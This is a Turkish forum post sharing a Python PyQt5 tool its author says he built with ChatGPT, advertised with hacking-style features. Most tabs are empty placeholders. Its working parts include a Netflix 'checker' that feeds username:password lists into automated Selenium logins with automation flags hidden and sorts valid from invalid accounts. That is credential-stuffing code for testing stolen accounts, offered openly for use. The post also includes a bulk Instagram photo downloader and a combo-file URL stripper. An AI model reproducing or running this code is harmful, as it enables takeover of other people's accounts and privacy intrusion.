Lenzy
Uzman Üye
- Katılım
- 7 Tem 2024
- Mesajlar
- 810
- Beğeniler
- 147
- Yaş
- 18
- İletişim
merhabalar Ben Lenzy Bu Gün Sizlere
CG TOPLU KULLANIM Uygulaması Yaptım Python ile
Şunu Belirtim Bu Uygulamayı Yaparken GPT den Yardım Aldım
1.KULLANCI BULME
2.DNS DEĞİŞTİCİ
3.OBF ATMA
4. EXE CEVİRME
5.NİNJA EKLEİNDİ
6.URL GİZLEME EKLENDİ
7. NETFLİX CHECKER EKLENDİ
- Bu Kodu Editleyip , Geliştirip Paylaşabilirsiniz Sakıncası yok İznim Vardır.
Python Kurulumu
1-) Pythonun 3.10.0 Sürümü Gerekir Kurmak için
1-) Gereken Kütüphane
pip install PyQt5 selenium instaloader pyperclip requests
Kullanan kişiler yorumunu yaparsa eklememi isteidğiniz şeyleri
KODU CHATGPT İLE YAPDIM KULLANIN KOLAYLIK SAĞLAR
CG TOPLU KULLANIM Uygulaması Yaptım Python ile
Şunu Belirtim Bu Uygulamayı Yaparken GPT den Yardım Aldım
1.KULLANCI BULME
2.DNS DEĞİŞTİCİ
3.OBF ATMA
4. EXE CEVİRME
5.NİNJA EKLEİNDİ
6.URL GİZLEME EKLENDİ
7. NETFLİX CHECKER EKLENDİ
- Bu Kodu Editleyip , Geliştirip Paylaşabilirsiniz Sakıncası yok İznim Vardır.
Python Kurulumu
1-) Pythonun 3.10.0 Sürümü Gerekir Kurmak için
Linkleri görebilmek için kayıt olmanız gerekmektedir
indirip kurun.1-) Gereken Kütüphane
pip install PyQt5 selenium instaloader pyperclip requests
Kullanan kişiler yorumunu yaparsa eklememi isteidğiniz şeyleri
KODU CHATGPT İLE YAPDIM KULLANIN KOLAYLIK SAĞLAR
import os
import sys
import instaloader
import pyperclip
import requests
from PyQt5.QtWidgets import (
QApplication, QWidget, QVBoxLayout, QPushButton, QFileDialog, QLabel,
QMessageBox, QProgressBar, QTextEdit, QTabWidget
)
from PyQt5.QtCore import QThread, pyqtSignal
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException
# URL Kaldırma Thread'i
class URLRemoverThread(QThread):
progress = pyqtSignal(int)
result = pyqtSignal(bool, str)
def __init__(self, input_files, output_folder, urls_to_remove):
super().__init__()
self.input_files = input_files
self.output_folder = output_folder
self.urls_to_remove = urls_to_remove
def run(self):
try:
total_files = len(self.input_files)
for file_index, input_file in enumerate(self.input_files):
output_file = os.path.join(self.output_folder, os.path.basename(input_file))
with open(input_file, 'r', encoding='utf-8') as file:
lines = file.readlines()
with open(output_file, 'w', encoding='utf-8') as file:
for line in lines:
for url in self.urls_to_remove:
line = line.replace(url, '')
file.write(line)
self.progress.emit(int(((file_index + 1) / total_files) * 100))
self.result.emit(True, "Belirtilen URL'ler başarıyla kaldırıldı.")
except Exception as e:
self.result.emit(False, f"Hata oluştu: {str(e)}")
# Instagram Thread'i
class InstagramThread(QThread):
result = pyqtSignal(bool, str)
def __init__(self, username):
super().__init__()
self.username = username
def run(self):
L = instaloader.Instaloader()
try:
profile = instaloader.Profile.from_username(L.context, self.username)
output_folder = os.path.join(os.path.expanduser("~"), "Desktop", "Instagram_Photos")
os.makedirs(output_folder, exist_ok=True)
for post in profile.get_posts():
L.download_post(post, target=output_folder)
self.result.emit(True, "Fotoğraflar başarıyla indirildi.")
except Exception as e:
self.result.emit(False, f'Hata: {str(e)}')
# Netflix Kontrol Thread'i
class NetflixCheckerThread(QThread):
success_signal = pyqtSignal(str)
failure_signal = pyqtSignal(str)
def __init__(self, accounts):
super().__init__()
self.accounts = accounts
def create_driver(self):
options = webdriver.ChromeOptions()
options.add_experimental_option("useAutomationExtension", False)
options.add_experimental_option("excludeSwitches", ["enable-automation"])
driver = webdriver.Chrome(options=options)
driver.maximize_window()
return driver
def login(self, driver, username, password):
try:
driver.delete_all_cookies()
driver.get('Linkleri görebilmek için kayıt olmanız gerekmektedir')
username_field = driver.find_element(By.CSS_SELECTOR, 'input[name="userLoginId"]')
username_field.send_keys(username)
password_field = driver.find_element(By.CSS_SELECTOR, 'input[name="password"]')
password_field.send_keys(password)
password_field.submit()
wait = WebDriverWait(driver, 5)
wait.until(EC.visibility_of_element_located((By.CSS_SELECTOR, 'h1.profile-gate-label')))
self.success_signal.emit(f"Giriş başarılı: {username}")
except TimeoutException:
self.failure_signal.emit(f"Giriş başarısız: {username}")
finally:
driver.quit()
def run(self):
for account in self.accounts:
username, password = account.split(':')
driver = self.create_driver()
self.login(driver, username, password)
# Ana Uygulama
class FileProcessorApp(QWidget):
def __init__(self):
super().__init__()
self.init_ui()
self.recent_files = []
self.urls_to_remove = []
def init_ui(self):
layout = QVBoxLayout()
self.setWindowTitle('Lenzy')
self.setGeometry(500, 300, 600, 400)
# Sekmeler
self.tabs = QTabWidget()
self.tabs.addTab(self.create_url_remover_tab(), "URL Kaldır")
self.tabs.addTab(self.create_obfuscation_tab(), "Obfuscate Et")
self.tabs.addTab(self.create_merge_tab(), "Birleştir")
self.tabs.addTab(self.create_user_finder_tab(), "Kullanıcı Bulucu")
self.tabs.addTab(self.create_dns_tab(), "DNS Değiştir")
self.tabs.addTab(self.create_ninja_tab(), "Ninja")
self.tabs.addTab(self.create_url_hiding_tab(), "URL Gizle")
self.tabs.addTab(self.create_netflix_tab(), "Netflix Kontrol") # Netflix sekmesi
layout.addWidget(self.tabs)
self.setLayout(layout)
def create_netflix_tab(self):
tab = QWidget()
layout = QVBoxLayout()
self.netflix_input = QTextEdit(self)
self.netflix_input.setPlaceholderText("Kullanıcı adı ve şifreleri 'kullaniciarola' formatında girin, her biri yeni bir satırda...")
layout.addWidget(self.netflix_input)
self.check_btn = QPushButton('Hesapları Kontrol Et')
self.check_btn.clicked.connect(self.check_netflix_accounts)
layout.addWidget(self.check_btn)
self.success_text = QTextEdit(self)
self.success_text.setReadOnly(True)
layout.addWidget(self.success_text)
self.failure_text = QTextEdit(self)
self.failure_text.setReadOnly(True)
layout.addWidget(self.failure_text)
tab.setLayout(layout)
return tab
def check_netflix_accounts(self):
accounts = self.netflix_input.toPlainText().strip().split('\n')
accounts = [acc.strip() for acc in accounts if acc.strip()]
if not accounts:
QMessageBox.warning(self, "Uyarı", "Lütfen kontrol edilecek hesapları girin!")
return
self.netflix_checker_thread = NetflixCheckerThread(accounts)
self.netflix_checker_thread.success_signal.connect(self.add_success)
self.netflix_checker_thread.failure_signal.connect(self.add_failure)
self.netflix_checker_thread.start()
def add_success(self, message):
self.success_text.append(message)
def add_failure(self, message):
self.failure_text.append(message)
def create_obfuscation_tab(self):
tab = QWidget()
layout = QVBoxLayout()
layout.addWidget(QLabel("Obfuscate Et sekmesi"))
tab.setLayout(layout)
return tab
def create_merge_tab(self):
tab = QWidget()
layout = QVBoxLayout()
layout.addWidget(QLabel("Birleştir sekmesi"))
tab.setLayout(layout)
return tab
def create_user_finder_tab(self):
tab = QWidget()
layout = QVBoxLayout()
layout.addWidget(QLabel("Kullanıcı Bulucu sekmesi"))
tab.setLayout(layout)
return tab
def create_dns_tab(self):
tab = QWidget()
layout = QVBoxLayout()
layout.addWidget(QLabel("DNS Değiştir sekmesi"))
tab.setLayout(layout)
return tab
def create_ninja_tab(self):
tab = QWidget()
layout = QVBoxLayout()
layout.addWidget(QLabel("Ninja sekmesi"))
tab.setLayout(layout)
return tab
def create_url_hiding_tab(self):
tab = QWidget()
layout = QVBoxLayout()
layout.addWidget(QLabel("URL Gizle sekmesi"))
tab.setLayout(layout)
return tab
def create_url_remover_tab(self):
tab = QWidget()
layout = QVBoxLayout()
self.url_input = QTextEdit(self)
self.url_input.setPlaceholderText("Silmek istediğiniz URL'leri (her birini yeni bir satıra yazarak) girin...")
layout.addWidget(self.url_input)
self.open_btn = QPushButton('Dosya Seç')
self.open_btn.clicked.connect(self.select_files)
layout.addWidget(self.open_btn)
self.save_btn = QPushButton('Kaydet')
self.save_btn.clicked.connect(self.save_files)
layout.addWidget(self.save_btn)
self.file_info_label = QLabel('Dosya bilgileri burada görünecek...')
layout.addWidget(self.file_info_label)
self.progress_bar = QProgressBar(self)
layout.addWidget(self.progress_bar)
tab.setLayout(layout)
return tab
def select_files(self):
options = QFileDialog.Options()
files, _ = QFileDialog.getOpenFileNames(self, "Dosya Seçin", "", "Tüm Dosyalar (*);;Metin Dosyaları (*.txt)", options=options)
if files:
self.recent_files = files
self.file_info_label.setText(f'Seçilen Dosyalar: {", ".join(files)}')
def save_files(self):
urls = self.url_input.toPlainText().strip().split('\n')
urls = [url.strip() for url in urls if url.strip()]
if not self.recent_files or not urls:
QMessageBox.warning(self, "Uyarı", "Lütfen dosya ve URL girin!")
return
output_folder = QFileDialog.getExistingDirectory(self, "Çıktı Klasörü Seçin")
if output_folder:
self.url_remover_thread = URLRemoverThread(self.recent_files, output_folder, urls)
self.url_remover_thread.progress.connect(self.update_progress)
self.url_remover_thread.result.connect(self.show_removal_result)
self.url_remover_thread.start()
def update_progress(self, value):
self.progress_bar.setValue(value)
def show_removal_result(self, success, message):
QMessageBox.information(self, "Sonuç", message)
if __name__ == '__main__':
app = QApplication(sys.argv)
window = FileProcessorApp()
window.show()
sys.exit(app.exec_())
Son düzenleme: